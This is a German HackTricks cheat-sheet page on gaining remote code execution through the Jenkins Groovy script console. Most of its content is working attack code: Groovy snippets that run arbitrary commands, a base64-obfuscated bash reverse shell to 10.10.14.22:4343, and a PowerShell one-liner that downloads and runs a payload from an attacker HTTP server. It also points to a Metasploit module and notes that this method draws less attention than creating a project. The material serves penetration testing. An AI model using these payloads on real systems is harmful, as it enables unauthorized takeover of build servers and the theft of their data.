Jenkins RCE with Groovy Script

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

• Überprüfe die Abonnementpläne!

• Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.

• Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos sendest.

Jenkins RCE mit Groovy-Skript

Dies ist weniger auffällig als ein neues Projekt in Jenkins zu erstellen.

1. Gehe zu path_jenkins/script

2. Füge im Textfeld das Skript ein.

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

Du könntest einen Befehl ausführen mit: cmd.exe /c dir

In linux kannst du: "ls /".execute().text

Wenn du Anführungszeichen und einzelne Anführungszeichen im Text verwenden musst, kannst du """PAYLOAD""" (dreifache doppelte Anführungszeichen) verwenden, um die Payload auszuführen.

Ein weiteres nützliches groovy-Skript ist (ersetze [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse-Shell in Linux

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse-Shell in Windows

Sie können einen HTTP-Server mit einer PS-Reverse-Shell vorbereiten und Jenkins verwenden, um ihn herunterzuladen und auszuführen:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

Sie können diesen Prozess mit diesem Skript automatisieren.

Sie können MSF verwenden, um eine Reverse-Shell zu erhalten:

msf> use exploit/multi/http/jenkins_script_console

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

• Überprüfe die Abonnementpläne!

• Tritt der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folge uns auf Twitter 🐦 @hacktricks_live.

• Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos sendest.